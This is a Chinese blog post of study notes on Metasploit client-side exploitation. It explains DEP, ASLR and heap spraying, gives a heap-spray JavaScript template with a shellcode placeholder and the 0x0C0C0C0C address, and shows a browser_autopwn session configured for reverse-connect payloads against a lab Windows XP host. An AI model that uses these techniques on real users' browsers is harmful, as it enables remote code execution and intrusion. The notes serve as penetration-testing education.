f10@t's blog

Metasploit渗透测试魔鬼训练营-客户端渗透攻击

字数统计: 1.6k阅读时长: 6 min
2019/02/11

客户端攻击(Client-side-Exploit)值攻击者构造畸形数据发送给目标主机,用户在使用该含有漏洞的客户端应用程序处理这些数据时,发生程序内部处理流程的错误,执行了内嵌与数据中的恶意代码,从而导致了渗透入侵。常见于浏览器、Office为代表的流行应用软件。

基础知识

客户端渗透攻击特点

应用程序一般有三个模式:

  • 客户端/服务端模式(C/S)
  • 浏览器/服务端模式(B/S)
  • 纯客户端模式。

客户端渗透就是针对这些客户端应用软件的渗透攻击。

对于前两者,以IE浏览器举例,攻击者发送一个访问连接给用户,该链接指向服务器上的一个恶意网页,用户访问该网页就会触发安全漏洞,执行嵌在网页内部的恶意代码,导致攻击发生。 纯客户端模式的攻击如Adobe、Office为例,通过社会工程学探测到目标用户的邮箱,即时通信账户个人信息,净额以文档发送给用户,打开文档就会触发恶意漏洞。

安全防护机制

  1. DEP(数据执行保护)   基本原理是操作系统通过设置内存也得操作,知名数据所在的内存也为不可执行。若在这种页面执行指令,CPU会抛出异常。所以DEP需要CPU的支持,AMD和Intel都为此做了设计,AMD是No-Execute Page-Protection(NX),Intel的是Execute Disable Bit(XD)。

  2. ASLR(地址空间布局随机化)   指系统在运行时,不用固定的基地址加载进程及相关的库文件。主要包括一下几个方面:堆地址的随机化、栈地址的随机化、PE文件基址的随机化、PE文件映像机制的随机化、PEB(Process Environment Block)、TEB(Thread Environment Block 或 Win32 Thread Information Block(TIB))地址的随机化。

针对浏览器的渗透攻击

攻击面

主要包括两大类:

  1. 对浏览器程序本身的渗透攻击   2. 对浏览器内嵌的渗透攻击

Metasploit的针对windows系统下浏览器渗透攻击模块位于/exploits/windows/browser

堆喷射利用方式

In computer security, heap spraying is a technique used in exploits to facilitate arbitrary code execution. The part of the source code of an exploit that implements this technique is called a heap spray.[1] In general, code that sprays the heap attempts to put a certain sequence of bytes at a predetermined location in the memory of a target process by having it allocate (large) blocks on the process's heap and fill the bytes in these blocks with the right values.

堆喷射技术本身并不能造成什么安全问题,但是通过对喷射可以提高渗透成功的几率。

大部分针对浏览器的渗透攻击都会涉及该技术,主要由于在溢出客户端程序后,还要去执行不知在缓冲区的Shellcode,而Shellcode的地址必须是事先准备好的。在操作系统堆栈缓冲区加强后,攻击者在溢出楼哦东之后可能只能改变一个4字节程序内部的指针,难以一开溢出这个漏洞来获得一个稳定缓冲区来布置Shellcode。所以在溢出漏洞前,需要寻找一个稳定的内存区来存放Shellcode。。

堆喷射就是这样工作的,在溢出漏洞前,攻击者在兑取申请大量充满控制领的内存块,每个都尾随Shellcode。在溢出之后,根据内存块总体的大小,修改溢出知乎返回地址到这个对空间。由于空指令在这个空间中占了绝大部分提及,所以更大的可能性是返回地址在空指令区,而不是Shellcode所在的空间,这样当跳转至这段空间时,程序会先执行空指令,进而执行Shellcode。

堆喷射例子

下面Js代码

1
2
3
4
5
6
7
js = %Q|
var nop = unescape(%u9090%u9090);
var shell = unescape("#{shellcode}"); //恶意构造的Shellcode
while(nop.length<=0x100000/2){nop+=nop;}
var slide = new Array();
for (var i=0; i<200; i++){slide[i] = nop+shell}
|
while进行后nop字符串长度为1048576,即1MB,最终分配了200块1MB的内存,每块内存的最后会加上一段Shellcode代码,这就算布置好Shellcode了。下来利用一个地址作为溢出漏洞之后的程序跳转地址,这里使用0x0C0C0C0C。原因如下:

  • 在于200MB的内存空间即从0x00000000 ~ 0x0c800000。0x0C800000大于0x0C0C0C0C,所以只要程序在申请堆内存之前没有用掉这段空间,就可以使这个地址在布置的缓冲区内。
  • 使用0x0C0C0C0C而不是0x0a0a0a0a是因为堆增长的方式是从低地址向高地址增加的,地址越高被程序提前占用的可能越小。0C是为了考虑4字节对齐问题,只要覆盖了附表地址,就肯定是0x0C0C0C0C,而不会是别的。
  • 在比0x0c800000小的地址符合条件的只有0x0C0C0C0C。
  • **除此之外0x0C0C0C0C也可作为空指令来顶替前面的0x90909090等等来填充堆区,这样的话就相当于在做堆喷射*

0x0C0C0C0C不唯一,要根据申请空间的大小来选择地址。2010年的BlackHat上便提出了JIT Spraying,吸收了堆喷射的思想,绕过了Windows7的DEP+ASLR组合。

MSF中自动化浏览器攻击

下面使用msf中的server/browser_sutopwn模块演示对WinXP SP3浏览器的攻击过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
msf5 auxiliary(server/browser_autopwn) > show options 

Module options (auxiliary/server/browser_autopwn):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The IP address to use for reverse-connect payloads
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)


Auxiliary action:

Name Description
---- -----------
WebServer Start a bunch of modules and direct clients to appropriate exploits


msf5 auxiliary(server/browser_autopwn) > set LHOST 10.10.10.128
LHOST => 10.10.10.128
msf5 auxiliary(server/browser_autopwn) > set SRVHOST 10.10.10.128
SRVHOST => 10.10.10.128
msf5 auxiliary(server/browser_autopwn) > set URIPATH auto
URIPATH => auto
msf5 auxiliary(server/browser_autopwn) > run
[*] Auxiliary module running as background job 0.

[*] Setup
msf5 auxiliary(server/browser_autopwn) >
[*] Starting exploit modules on host 10.10.10.128...
[*] ---
# 使用WinXP客户机访问10.10.10.128攻击机的80端口

CATALOG
  1. 1. 基础知识
    1. 1.1. 客户端渗透攻击特点
    2. 1.2. 安全防护机制
    3. 1.3. 针对浏览器的渗透攻击
      1. 1.3.1. 攻击面
        1. 1.3.1.1. 堆喷射利用方式
        2. 1.3.1.2. 堆喷射例子
  2. 2. MSF中自动化浏览器攻击